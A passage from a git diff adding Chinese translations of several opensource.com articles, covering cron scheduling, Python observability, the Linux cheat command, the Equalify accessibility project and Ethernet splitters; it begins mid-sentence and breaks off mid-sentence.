命令行工具,来安排备份、文件清理以及其他任务。 + +![](https://img.linux.net.cn/data/attachment/album/202208/15/151143fjdses6bdj2nj1j5.jpg) + +在计算机上让任务按照有规律并且可预测的时间表运行很重要。作为人类,我们有时会因为分心、脑子里想太多,或是度假而记不住要做的事情。计算机真的很擅长按计划做事,但在计算机采取行动之前,人类必须对计算机进行编程。 + +在某种程度上,cron 系统是编程的初级简单入门。通过编辑一个文件就可以让计算机做你想让它做的事。你甚至不需要知道文件保存在哪里。只需键入一个简单的命令,输入你希望电脑遵循的 “配方”,并保存。从那时起,计算机会在指定时间执行你的指令,直到被告知停止。 + +从设计上来看,cron 不是一个复杂的系统。这里有一些你需要了解的内容。 + +### cron 是什么? + +cron 命令在 Linux 和 Unix 中无处不在,而且它经常被模仿和重塑,以至于它几乎成了按计划发生的事情的一个通用术语。它是自动化的一种形式,尽管有不同的实现方式(比如 Dillon's cron、Vixie's cron、chrony 和其他),以及像 anacron 和 systemd 定时器这样的变化,但其语法和工作流程几十年来一直保持着基本一致。 + +cron 在一个 “假脱机spool” 系统上工作,像打印机和电子邮件一样。如果不你知道打印机和电子邮件使用假脱机也没关系,因为假脱机文件的意义在于,你不需要想太多。在 Linux 系统中,`/var/spool` 目录被设计为重要但低级的文件的中心枢纽,用户不需要直接与之交互。 在 `/var/spool` 中管理的一个假脱机是 cron 表(简称为 “crontab”)。 包括你在内的每个用户在 Linux 系统中都有一个 crontab。用户可以编辑、查看和删除自己的 crontab。除此之外,用户可以使用 crontab 来安排任务。cron 系统监控 crontab,并确保一个 crontab 中列出的任何工作都能在其指定时间执行。 + +### 编辑 cron 设置 + +你可以使用 `crontab` 命令和 `-e`(代表“编辑”)选项来编辑你的 crontab。默认情况下,大多数系统会调用 `vim` 文本编辑器。如果你和我一样,不使用 Vim,那么你可以在 `~/.bashrc` 文件中为自己设置一个不同的编辑器。我把我的设置为 Emacs,但你也可以试试 [Nano][4]、[Kate][5],或者任何你喜欢的编辑器。`EDITOR` 环境变量定义了你在终端使用的文本编辑器,而 `VISUAL` 变量定义了你在图形模式下使用的编辑器: + +``` +export EDITOR=nano +export VISUAL=kate +``` + +更新设置后刷新你的 shell 会话: + +``` +$ source ~/.bashrc +``` + +现在你可以用喜欢的编辑器编辑 crontab: + +``` +$ crontab -e +``` + +#### 为任务执行安排时间 + +cron 系统本质上是一个日历系统。可以通过五个不同的属性告诉 cron 需要让一个任务多长时间运行一次:分、时、日、月、星期。这些属性的顺序是固定的,并且不一定是直观的,你可以把它们看作是过滤器或掩码。默认情况下,你可以理解为所有东西都被设置为“总是”或者“每一个”。此命令将在全年的每一天每小时每分钟运行 `touch /tmp/hello`: + +``` +* * * * * touch /tmp/hello +``` + +可以通过设置每个属性的具体定义来限制这个包罗万象的时间安排表。使任务在每个小时的 30 分钟时运行,将分钟设置为 `30`: + +``` +30 * * * * touch /tmp/hello +``` + +可以通过一个具体的小时来进一步约束这个指令。使任务在每个凌晨 3:30 运行: + +``` +30 3 * * * touch /tmp/hello +``` + +你也可以让这个任务只在每个月的第一天运行: + +``` +30 3 1 * * touch /tmp/hello +``` + +你可以用 `1` 至 `12` 表示 1 至 12 月来设置月份,用 `0` 至 `6` 表示周日至周六来设置星期。这项任务在 4 月份的周一的 3:15 运行: + +``` +15 3 * 4 1 touch /tmp/hello +``` + +### 设置增量 + +所有这些设置都与一个固定时间 _完全_ 匹配。使用 cron 符号设置可以在特定时间段后运行任务,例如,每 15 分钟运行一个任务: + +``` +*/15 * * * * touch /tmp/hello +``` + +每三天在上午 10 点运行任务: + +``` +* 10 */3 * * touch /tmp/hello +``` + +每 6 小时运行一次任务: + +``` +* */6 * * * touch /tmp/hello +``` + +### Cron 速记符 + +现代的 cron 实现已经为常见的时间安排表添加了方便的速记符,包括: + +* `@hourly`:每小时 +* `@daily`:每天 +* `@weekly`:每周 +* `@monthly`:每月 +* `@yearly` 或 `@annually`:每年 + +### 列出 cron 任务 + +使用 `crontab` 命令,查看计划中的 cron 任务列表: + +``` +$ crontab -l +15 3 * 4 1 touch /tmp/hello +``` + +### 删除一个 crontab + +当一个 crontab 任务不需要时,可以使用 `-r` 选项来删除它: + +``` +$ crontab -r -i +``` + +`-i` 选项代表 _交互式_。它在删除文件之前会提示你进行确认。 + +### Cron 可以做什么 + +知道如何使用 cron 是一回事,但但知道它的用途是另一回事。经典用例就是备份计划。如果你的电脑一天中大部分时间都是开着的,或者整天整夜地开着,那么可以为重要分区进行例行备份。我会在每天凌晨 3 点在主要数据分区上运行一个名为 `rdiff-backup` 的备份程序: + +``` +$ crontab -l | grep rdiff +* 3 * * * rdiff-backup /data/ /vault/ +``` + +另一个常见的用途是系统维护。在我的 Slackware 桌面上,每周五下午会更新本地版本库目录: + +``` +$ crontab -l | grep slack +* 14 * * 5 sudo slackpkg update +``` + +我还会每 3 天在 15:00 运行一个 Ansible 脚本来 [清理我的下载文件夹][6] : + +``` +$ crontab -l | grep ansible +* 15 */3 * * ansible-playbook /home/seth/Ansible/cleanup.yaml +``` + +有一些重复数据删除脚本、文件大小和 `/tmp` 目录的监视器、照片调整器、文件移动工具以及很多琐碎的任务,你可以安排在后台运行,以帮助保持系统不受干扰。有了 cron,计算机可以以我希望我的实体公寓能够做到的方式来照顾自己。 + +### 记住 cron 的设置 + +除了想明白你为什么需要 cron 之外,根据我的经验,cron 最难的事情是记住它的语法。重复这句话给自己听,反反复复,直到你记牢它: + +> 分、时、日、月、星 +> +> 分、时、日、月、星 +> +> 分、时、日、月、星 + +更好的做法是,去 [下载我们免费的速查表][7] ,这样当你最需要它时,它触手可及! + +> **[Cron 速查表][7]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/cron-linux + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[Veryzzj](https://github.com/Veryzzj) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/linux_keyboard_desktop.png?itok=I2nGw78_ "Linux keys on the keyboard for a desktop computer" +[2]: https://opensource.com/article/21/2/linux-automation +[3]: https://opensource.com/article/20/7/systemd-timers +[4]: https://opensource.com/article/20/12/gnu-nano +[5]: https://opensource.com/article/20/12/kate-text-editor +[6]: https://opensource.com/article/21/9/keep-folders-tidy-ansible +[7]: https://opensource.com/downloads/linux-cron-cheat-sheet diff --git a/published/202208/20211122 7 key components of observability in Python.md b/published/202208/20211122 7 key components of observability in Python.md new file mode 100644 index 0000000000..d577b7f35b --- /dev/null +++ b/published/202208/20211122 7 key components of observability in Python.md @@ -0,0 +1,176 @@ +[#]: subject: "7 key components of observability in Python" +[#]: via: "https://opensource.com/article/21/11/observability-python" +[#]: author: "Moshe Zadka https://opensource.com/users/moshez" +[#]: collector: "lujun9972" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14889-1.html" + +Python 中可观测性的 7 个关键部分 +====== + +> 学习为什么 Python 中的可观测性很重要,以及如何在你的软件开发生命周期中实现它。 + +![](https://img.linux.net.cn/data/attachment/album/202208/02/115713cbml51nooltb21bx.jpg) + +你写的应用会执行很多代码,而且是以一种基本上看不到的方式执行。所以你是怎么知道: + + * 代码是否在运行? + * 是不是在正常工作? + * 谁在使用它,如何使用? + +可观测性是一种能力,可以通过查看数据来告诉你,你的代码在做什么。在这篇文章中,主要关注的问题是分布式系统中的服务器代码。并不是说客户端应用代码的可观测性不重要,只是说客户端往往不是用 Python 写的。也不是说可观测性对数据科学不重要,而是在数据科学领域的可观测性工具(大多是 Juptyter 和快速反馈)是不同的。 + +### 为什么可观测性很重要 + +所以,为什么可观测性重要呢?在软件开发生命周期(SDLC)中,可观测性是一个关键的部分。 + +交付一个应用不是结束,这只是一个新周期的开始。在这个周期中,第一个阶段是确认这个新版本运行正常。否则的话,很有可能需要回滚。哪些功能正常运行?哪些功能有细微的错误?你需要知道发生了什么,才能知道接下来要怎么做。这些东西有时候会以奇怪的方式不能正常运行。不管是天灾,还是底层基础设施的问题,或者应用进入了一种奇怪的状态,这些东西可能在任何时间以任何理由停止工作。 + +在标准 SDLC 之外,你需要知道一切都在运行中。如果没有,有办法知道是怎么不能运行的,这是非常关键的。 + +### 反馈 + +可观测性的第一部分是获得反馈。当代码给出它正在做什么的信息时,反馈可以在很多方面提供帮助。在模拟环境或测试环境中,反馈有助于发现问题,更重要的是,以更快的方式对它们进行分类。这可以改善在验证步骤中的工具和交流。 + +当进行金丝雀部署canary deployment或更改特性标志时,你需要知道是否要继续,还是等更长时间,或者回滚,反馈就显得很重要了。 + +### 监控 + +有时候你怀疑有些东西不太对。也许是一个依赖服务有问题,或者是社交网站爆出了大量你的网站的问题。也许在相关的系统中有复杂的操作,然后你想确保你的系统能完美处理。在这些情况下,你就想把可观测性系统的数据整合到控制面板上。 + +当写一个应用的时候,这些控制面板需要是设计标准的一部分。只有当你的应用能把数据共享给这些控制面板,它们才会把这些数据显示出来。 + +### 警报 + +看控制面板超过 15 分钟就像看着油漆变干一样。任何人都不应该遭受这种折磨。对于这种任务,我们要有报警系统。报警系统将可观测性数据与预期数据进行对比,当它们不匹配的时候就发出通知。完全深入研究时间管理超出了本文的范围。然而,从两方面来说,可观测应用是报警友好的alert-friendly: + + * 它们有足够多,足够好的数据,发出的警报才是高质量的。 + * 警报有足够的数据,或者接收者可以很容易的得到数据,这样有助于找到源头。 + +高质量警报有三个特点: + + * 较少的错报:如果有警报,那一定是有问题了。 + * 较少的漏报:如果有问题,那一定有警报触发。 + * 及时性:警报会迅速发出以减少恢复时间。 + +这三个特点是互相有冲突的。你可以通过提高监测的标准来减少错误警报,代价是增加了漏报。你也可以通过降低监测的门槛来减少漏报,代价是增加错报。通过收集更多数据,你也可以同时减少错报和漏报,而代价是降低了及时性。 + +同时改善这三个参数就更难了。这就要求高质量的可观测性数据。更高质量的数据可以同时改善这三个特点。 + +### 日志 + +有的人喜欢嘲笑用打印来调试的方法。但是,在一个大多数软件都不在你本机运行的世界里,你所能做的只有打印调试。日志记录就是打印调试的一种形式。尽管它有很多缺点,但 Python 日志库提供了标准化的日志记录。更重要的是,它意味着你可以通过这些库去记录日志。 + +应用程序要负责配置日志的记录方式。讽刺地是,在应用程序对配置日志负责了多年以后,现在越来越不是这样了。在现代容器编排orchestration环境中,现代应用程序记录标准错误和标准输出,并且信任编排orchestration系统可以合理的处理日志。 + +然而,你不应该依赖库,或者说,其他任何地方。如果你想让操作的人知道发生了什么,_使用日志,而不是打印_。 + +#### 日志级别 + +日志记录的一个最重要功能就是 _日志级别_。不同的日志级别可以让你合理的过滤并分流日志。但是这只有在日志级别保持一致的情况下才能做到。最后,你应该在整个应用程序中保持日志级别的一致性。 + +选择不兼容语义的库可以通过在应用层面的适当配置来追溯修复,这只需要通过使用 Python 中最重要的通用风格做到:`getLogger(__name-_)`。 + +大多数合理的库都会遵循这个约定。过滤器Filters可以在日志对象发出之前就地修改它们。你可以给处理程序附加一个过滤器,这个处理程序会根据名称修改消息,使其具有合适的级别。 + +``` +import logging +LOGGER=logging.getLogger(__name__) +``` + +考虑到这一点,你现在必须明确日志级别的语义。这其中有很多选项,但是下面这些是我的最爱: + + * `Error`:发送一个即时警告。应用程序处于一个需要操作人员引起注意的状态。(这意味着包含 `Critical` 和 `Error`) + * `Warning`:我喜欢把这些称作“工作时间警报”。这种情况下,应该有人在一个工作日内关注一下。 + * `Info`:这是在正常工作流程中发出的。如果怀疑有问题的时候,这个是用来帮助人们了解应用程序在做什么的。 + * `Debug`:默认情况下,这个不应该在生产环境中出现。在模拟环境或开发环境下,可以发出来,也可以不发。如果需要更多的信息,在生产环境也可以特地被打开。 + +任何情况下都不要在日志中包含个人身份信息Personal Identifiable Information(PII)或密码。无论日志级别是什么,都是如此,比如级别更改,激活调试级别等等。日志聚合系统很少是 PII 安全PII-safe的,特别是随着 PII 法规的不断发展(HIPAA、GDPR 等等)。 + +#### 日志聚合 + +现代系统几乎都是分布式的。冗余redundancy扩展性scaling,有时是管辖权jurisdictional需要更多的水平分布。微服务意味着垂直分布。登录到每个机器去查看日志已经是不现实的了。出于合理的控制原因,允许开发人员登录到机器中会给予他们更多的权限,这不是个好主意。 + +所有的日志都应该被发到一个聚合器。有一些商业的方案,你可以配置一个 ELK 栈,或者也可以使用其他的数据库(SQL 或则 no-SQL)。作为一个真正的低技术解决方案,你可以将日志写入文件,然后将它们发送到对象存储中。有很多解决方案,但是最重要的事情是选择一个,并且将所有东西聚合到一起。 + +#### 记录查询 + +在将所有东西记录到一个地方后,会有很多日志。具体的聚合器可以定义如何写查询,但是无论是通过从存储中搜索还是写 NoSQL 查询,记录查询以匹配源和细节都是很有用的。 + +### 指标抓取 + +指标抓取Metric Scraping是一个服务器拉取server pull模型。指标服务器定时和应用程序连接,并且拉取指标。 + +最后,这意味着服务器需要连接和找到所有相关的应用服务器。 + +#### 以 Prometheus 为标准 + +如果你的指标聚合器是 Prometheus,那么 [Prometheus][2] 格式做为一个端点endpoint是很有用的。但是,即使聚合器不是 Prometheus,也是很有用的。几乎所有的系统都包含与 Prometheus 端点兼容的垫片shim + +使用客户端 Python 库给你的应用程序加一个 Prometheus 垫片,这将使它能够被大多数的指标聚合器所抓取。当 Prometheus 发现一个服务器,它就期望找到一个指标端点。这经常是应用程序路由的一部分,通常在 `/metrics` 路径下。不管 Web 应用的平台是什么,如果你能在一个端点下运行一个定制类型的定制字节流,Prometheus 就可以将它抓取。 + +对于大多数流行的框架,总有一个中间件插件或者类似的东西收集指标,如延迟和错误率。通常这还不够。你需要收集定制的应用数据:比如,每个端点的缓存命中/缺失hit/miss率,数据库延迟,等等。 + +#### 使用计数器 + +Prometheus 支持多个数据类型。一个重要且巧妙的类型就是计数器。计数器总是在前进 —— 但有一点需要注意。 + +当应用重置,计数器会归零。计数器中的这些“历时epochs”通过将计数器“创建时间”作为元数据发送来管理。Prometheus 知道不去比较两个不同历时epochs的计数器。 + +#### 使用仪表值 + +仪表值会简单很多:它们测量瞬时值。用它们来测量会上下起伏的数据:比如,分配的总内存大小,缓存大小,等等。 + +#### 使用枚举值 + +枚举值对于整个应用程序的状态是很有用的,尽管它们可以以更精细的方式被收集。比如,你正使用一个功能门控feature-gating框架,一个有多个状态(比如,使用中、关闭、屏蔽shadowing 等)的功能,也许使用枚举会更有用。 + +### 分析 + +分析不同于指标,因为它们要对应连续的事件。比如,在网络服务器中,事件是一个外部请求及其产生的工作。特别是,在事件完成之前事件分析是不能被发送的。 + +事件包含特定的指标:延迟,数量,以及可能产生的对其他服务请求的细节,等等。 + +#### 结构化日志 + +现在一个可能的选择是将日志结构化。发送事件只发送带有正确格式的有效载荷payload的日志。这个数据可以从日志聚合器请求,然后解析,并且放入一个合适的系统,这样可以对它的可见性。 + +### 错误追踪 + +你可以使用日志来追踪错误,也可以用分析来追踪错误。但是一个专门的错误系统还是值得的。一个为错误而优化的系统可以发送更多的错误,因为错误毕竟还是罕见的。这样它就可以发送正确的数据,并且用这些数据,它能做更多智能的事情。Python 中的错误追踪系统通常和一般的异常处理关联,然后收集数据,并且把它发到一个专门的错误聚合器。 + +#### 使用 Sentry + +很多情况下,自己运行 Sentry 是正确的做法。当错误发生时,就说明有些东西就出问题了。可靠地删除敏感数据是不可能的,因为一定有会出现敏感数据被发送到不应该的地方。 + +通常,这种工作量并不会很大:异常并不常出现。最后,这个系统并不需要很高的质量,也不需要高可靠性的备份。昨天的错误应该已经修复了,希望如此,如果没有,你还会发现的! + +### 快速、安全、可重复:三者都要 + +可观测的系统开发起来更快,因为它们可以给你提供反馈。它们运行起来也更安全,因为当出问题的时候,它们也会更早的让你知道。最后,因为有反馈回路,可观测性也有助于围绕它构建可重复的过程。可观测性可以让你了解你的应用程序。而更了解它们,就胜利了一半。 + +#### 磨刀不误砍柴功 + +构建所有的可观测层是一件困难的事情。总会让人感觉是在浪费的工作,或者更像是“可以有,但是不急”。 + +之后再做这个可以吗?也许吧,但是不应该。正确的构建可观测性可以加速后面所有阶段的开发:测试、监控,甚至是培训新人。在一个和科技行业一样动荡的行业,减少培训新人的工作量绝对是值得的。 + +事实上,可观测性很重要,所以尽早把它写出来,然后就可以在整个过程中进行维护。反过来,它也会帮你维护你的软件。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/observability-python + +作者:[Moshe Zadka][a] +选题:[lujun9972][b] +译者:[MCGA](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/moshez +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/search_find_code_python_programming.png?itok=ynSL8XRV (Searching for code) +[2]: https://opensource.com/article/21/7/run-prometheus-home-container diff --git a/published/202208/20220602 The only Linux command you need to know.md b/published/202208/20220602 The only Linux command you need to know.md new file mode 100644 index 0000000000..37234f0dbf --- /dev/null +++ b/published/202208/20220602 The only Linux command you need to know.md @@ -0,0 +1,164 @@ +[#]: subject: "The only Linux command you need to know" +[#]: via: "https://opensource.com/article/22/6/linux-cheat-command" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14961-1.html" + +“作弊”:只需要知道这一个 Linux 命令就够了 +====== + +> Linux cheat 命令是一个实用程序,可以用来搜索和显示你想要使用的命令的使用示例。 + +![](https://img.linux.net.cn/data/attachment/album/202208/24/160901xi66t9pe74x7pxqp.jpg) + +互联网上有很多关于 Linux 和开源的信息,但是当你想要深入工作,通常需要一份便捷的文档。早在 Linux 出现之前的 Unix 系统中,就有 `man`(“manual” 的缩写)和 `info` 命令了,二者都会显示命令、配置文件、系统调用等的官方项目文档。 + +关于 `man` 和 `info` 页面是对知晓如何使用工具的用户的有用提醒,还是为初次使用的用户提供介绍存在争议。不管怎样,`man` 和 `info` 页面介绍了工具以及如何使用该工具,很少涉及特定任务以及如何完成它们。正是出于这个原因,开发了 `cheat` 命令。 + +例如,设想你想不起来如何 [解压 tar 压缩包文件][2] 。`man` 页面会给你展示所有的选项,但需要你将这些信息转换为命令: + +``` +tar -A [OPTIONS] ARCHIVE ARCHIVE +tar -c [-f ARCHIVE] [OPTIONS] [FILE...] +tar -d [-f ARCHIVE] [OPTIONS] [FILE...] +tar -t [-f ARCHIVE] [OPTIONS] [MEMBER...] +tar -r [-f ARCHIVE] [OPTIONS] [FILE...] +tar -u [-f ARCHIVE] [OPTIONS] [FILE...] +tar -x [-f ARCHIVE] [OPTIONS] [MEMBER...] +``` + +这确实是一些用户需要的,但是也使一些用户感到困惑。相比之下,`cheat` 命令会罗列常用命令: + +``` +$ cheat tar + +# To extract an uncompressed archive: +tar -xvf /path/to/foo.tar + +# To extract a .tar in specified Directory: +tar -xvf /path/to/foo.tar -C /path/to/destination/ + +# To create an uncompressed archive: +tar -cvf /path/to/foo.tar /path/to/foo/ + +# To extract a .tgz or .tar.gz archive: +tar -xzvf /path/to/foo.tgz +tar -xzvf /path/to/foo.tar.gz +[...] +``` + +这真是雪中送炭! + +### Linux Cheat 命令 + +`cheat` 命令是一个实用程序,可以用来搜索和显示你想要使用的命令的使用示例。如大多数 Unix 命令一样,同一个概念有多种不同的实现方式,它包括一个 [使用 Go 编写][3] 的和一个由我帮助维护的 [仅用 100 行 Bash 编写][4] 的两个版本。 + +若要安装 Go 版本的,下载 [最新版][5] 并将它放在某个 [路径][6] 中,例如 `~/.local/bin/` 或 `/usr/local/bin` 中。若安装 Bash 版本,下载最新版并运行 `install-cheat.sh` 脚本: + +``` +$ sh ./install-cheat.sh +``` + +如需配置后安装,请使用 [自动工具][7](Autotools): + +``` +$ aclocal ; autoconf +$ automake --add-missing ; autoreconf +$ ./configure --prefix=$HOME/.local +$ make +$ make install +``` + +### 在 Linux 中安装 Cheat 程序 + +Cheat 只是包含常用命令的纯文本文件。该程序可以从 [github.com/cheat/cheatsheets][8] 获得。当你第一次运行命令时,Go 版本会自动为你下载支持列表。如果你使用 Bash 版本,用 `--fetch` 选项可以下载支持列表: + +``` +$ cheat --fetch +``` + +与 `man` 一样,你的系统上可以有多个备忘单集合。 Go 版本的 `cheat` 使用 [YAML][9] 配置文件来定义每个集合的位置。Bash 版本在安装过程中定义了路径,默认下载 [github.com/cheat/cheatsheets][10] 集合以及 [opensource.com][11] 自己的 [gitlab.com/opensource.com/cheatsheets][12] 集合。 + +### 列出 Cheat 支持项目 + +使用 `--list` 选项即可查看 `cheat` 支持的项目: + +``` +$ cheat --list +7z +ab +acl +alias +ansi +ansible +ansible-galaxy +ansible-vault +apk +[...] +``` + +### 使用 Cheat 查看 Linux 命令 + +使用 `cheat` 查看命令如同使用 `man` 和 `info` 查看一样简单。只需要输入你需要查询的命令即可: + +``` +$ cheat alias + +# To show a list of your current shell aliases: +alias + +# To alias `ls -l` to `ll`: +alias ll='ls -l' +``` + +默认情况下,`cheat` 命令会使用你的 [环境变量][13] `PAGER` 中指定的分页器。你可以在运行 `cheat` 命令前改写 `PAGER` 变量值,暂时修改环境变量。 + +``` +$ PAGER=most cheat less +``` + +如果你只是想在没有 `PAGER` 的情况下将 `cheat` [输出][14] 到终端里,在 Bash 版中有 `--cat` 选项可以使用: + +``` +$ cheat --cat less +``` + +### 这并不是作弊 + +`cheat` 系统抓住了要害,你不必拼凑有关如何使用命令的线索,你只需按照示例进行操作即可。当然,对于复杂的命令,它不是深入研究实际文档的捷径,但为了快速借用,它还是可以的。 + +甚至你可以通过将文件放入其中一个备忘单集合中,来创建自己的备忘单。好消息是,因为这些项目是开源的,所以你可以将你的个人备忘单贡献给 GitHub 集合。另一个好消息是,当有新的 opensource.com [备忘单][15] 版本发布时,我们将从现在开始包含纯文本版本,以便你可以将其添加到你的收藏中。 + +该命令称为 “作弊cheat”,但正如任何 Linux 用户都会向你保证的那样,它实际上并不是作弊。它只是以开源的方式工作得更巧妙。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/linux-cheat-command + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/command_line_prompt.png +[2]: https://opensource.com/article/17/7/how-unzip-targz-file +[3]: https://github.com/cheat/cheat +[4]: https://gitlab.com/slackermedia/cheat +[5]: https://github.com/cheat/cheat/releases +[6]: https://opensource.com/article/17/6/set-path-linux +[7]: https://opensource.com/article/19/7/introduction-gnu-autotools +[8]: https://github.com/cheat/cheatsheets +[9]: https://opensource.com/article/21/9/yaml-cheat-sheet +[10]: https://github.com/cheat/cheatsheets +[11]: http://Opensource.com +[12]: https://gitlab.com/opensource.com/cheatsheets +[13]: https://opensource.com/article/19/8/what-are-environment-variables +[14]: https://opensource.com/article/19/2/getting-started-cat-command +[15]: https://opensource.com/downloads diff --git a/published/202208/20220626 An open source project that opens the internet for all.md b/published/202208/20220626 An open source project that opens the internet for all.md new file mode 100644 index 0000000000..f63538723f --- /dev/null +++ b/published/202208/20220626 An open source project that opens the internet for all.md @@ -0,0 +1,59 @@ +[#]: subject: "An open source project that opens the internet for all" +[#]: via: "https://opensource.com/article/22/6/equalify-open-internet-accessibility" +[#]: author: "Blake Bertuccelli https://opensource.com/users/blake" +[#]: collector: "lkxed" +[#]: translator: "yjacks" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14905-1.html" + +Equalify:让每一个人都可以无障碍访问互联网 +====== + +> Equalify 是一个为了让互联网更易于使用的开源项目。 + +![](https://img.linux.net.cn/data/attachment/album/202208/07/114828xkk55krbsprkx7kk.jpg) + +无障碍访问Accessibility 是一把促进社会更加开放的的钥匙。 + +我们在网上学习,我们在网上花钱,也在网上吵吵嚷嚷。更重要的是,我们在网上获取的信息激励我们创造一个更好的世界。当我们忽视无障碍访问的要求时,出生时失去光明,或在战争中失去四肢的人们都将只能被阻挡在他人可以享受的网上信息之外。 + +*我们必须确保每个人都有通往开放互联网的通道*,而我正在通过开发 [Equalify][2],为实现这一目标而努力。 + +### 什么是 Equalify? + +Equalify 是“无障碍访问平台”。 + +这个平台允许使用者们对数以千计的网站进行多种无障碍访问的扫描。通过使用我们的最新版本,用户还可以过滤无数的警告,创建一个对他们来说有意义的统计仪表盘。 + +这个项目才刚刚开始。Equalify 的目的是开源像 SiteImprove 这样的昂贵服务所提供的各种收费服务。有了更好的工具,我们可以确保互联网更容易访问、我们的社会更开放。 + +### 如何判断网站的无障碍访问? + +W3C 的网络无障碍访问组织发布了《网络内容无障碍访问指南(WCAG)》,为无障碍访问设定了标准。Equalify 和包括美国联邦政府在内的其它机构,都使用 WCAG 来定义网站的无障碍访问。我们扫描的的网站越多,我们就越能了解 WCAG 标准的不足和潜力。 + +### 如何使用 Equalify? + +花点时间查看一下我们的 GitHub,这样你能更多的了解这个产品。[README][3] 提供了如何开始支持和使用 Equalify 的分步教程。 + +### 我们的目标 + +我们的最终目标是让开放的互联网更易于使用。根据 [The WebAIM Million][4] 的数据,96.8% 的网站主页不满足 WCAG 标准。随着越来越多的人们开发和使用 Equalify,我们将与有障碍的页面斗争。每个人都应该有平等的机会进入开放的互联网。在我们朝着为所有人建设一个更强大、更开放的社会而努力时,Equalify 也正在朝着这个目标努力。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/equalify-open-internet-accessibility + +作者:[Blake Bertuccelli][a] +选题:[lkxed][b] +译者:[yjacks](https://github.com/yjacks) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/blake +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-06/plumeria-frangipani-bernard-spragg.jpg +[2]: https://equalify.app/ +[3]: https://github.com/bbertucc/equalify +[4]: https://webaim.org/projects/million/ diff --git a/published/202208/20220716 Does an Ethernet splitter slow down speed-.md b/published/202208/20220716 Does an Ethernet splitter slow down speed-.md new file mode 100644 index 0000000000..fd3d0fc56c --- /dev/null +++ b/published/202208/20220716 Does an Ethernet splitter slow down speed-.md @@ -0,0 +1,104 @@ +[#]: subject: "Does an Ethernet splitter slow down speed?" +[#]: via: "https://www.debugpoint.com/ethernet-splitter-speed/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14915-1.html" + +以太网分离器会降低网速吗? +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/10/104845ishhhse3meqzuamd.jpg) + +> 这篇文章详细总结了以太网分离器,以及它们的速度,还有各种常见问题等信息,来帮助你选择最合适的硬件。 + +交换机Switch集线器Hub,还有以太网分离器Ethernet Splitter 是用来帮助扩展网络的网络设备。这其中,最基础的设备就是小巧的以太网分离器了。它们是一种小型设备,可以将一个以太网信号分成两个。它们简单易用,并且还便宜。这可以算是最简单的网络设备之一了,因为它们不需要提供电源,也没有特定的按键或者 LED 灯来提示状态。只是在一个小设备上有三个以太网端口,其中两个在一侧,另一个在另一侧。有些品种是在一侧有带着一小段 [RJ45][1] 接口的网线,另一侧是两个以太网端口。 + +尽管在网络世界中,分离器已经存在了相当长一段时间了,很多人还是不知道如何有效使用它们。与普遍的看法相反的是,以太网分离器应该总是成对购买。直接把分离器的一端和路由器连接,再把两个设备与分离器的两个端口连接,这样是不行的。想让分离器在网络中正常工作,是有一个正确的设置技巧的。 + +### 如何使用以太网分离器进行一个基本的设置 + +要让不同房间的两个设备连接到主信号源,以太网分离器是非常方便的。大多数情况下,它们可以节约网线、墙上的网络插座,并提供了可靠的连接。就像之前说的,以太网分离器是成对出售的。一个分离器将来自设备(通常是路由器)上的信号合并,然后另一个把信号分成两个信道,这样就可以让两个设备通信了。 + +路由器在房间 A,两个 PC 在房间 B,但是每个房间的墙上只有一个以太网插座。这种情况下,就需要一个分离器,两条网线连到路由器上,网线的另外一端连到分离器上,然后分离器的另一端连到房间 A 墙上的接口。这样路由器的两个信号就合并到一起了。接下来,另一个分离器只有一个端口的那一端接到房间 B 墙上的接口上。从房间 A 合并的信号现在就会分成两个,这样在房间 B 里面,你就可以有两个以太网端口了。 + +分离器的优势是它可以大量减少墙上的接口,也会大量减少你这种情况下所需的网线。它会帮你避免“网线地狱”,因为这样会将所需要的端口/网线降低两倍。 + +![sample diagram using ethernet splitter][2] + +### 以太网分离器会降低网速吗? + +网络连接会变慢吗?这可能是你想到的常见问题之一。好吧,答案取决于你的网络类型。理想情况下,分离器是 BASE-T 标准,也就是快速以太网Fast Ethernet。它们可以支持高达 Mbps 级的速度。 + +如果分离器在一个 100Mbps 的网络中使用,答案是否定的,它是不会降低网速的。然而,如果你的路由器可以提供 1Gbps 传输速率,然后你在中间用了一个分离器,那么带宽将被限制在 100Mbps。这种情况下,分离器确实会限制速度,连接会变慢。 + +### 以太网分离器的优势和劣势 + +以太网分离器在一些情况下很有用,但是它们也有一些缺点。首先,每个以太网端口只能提供最高 100Mbps 的速度。因为这个限制,网络中能够提供高于 100Mbps 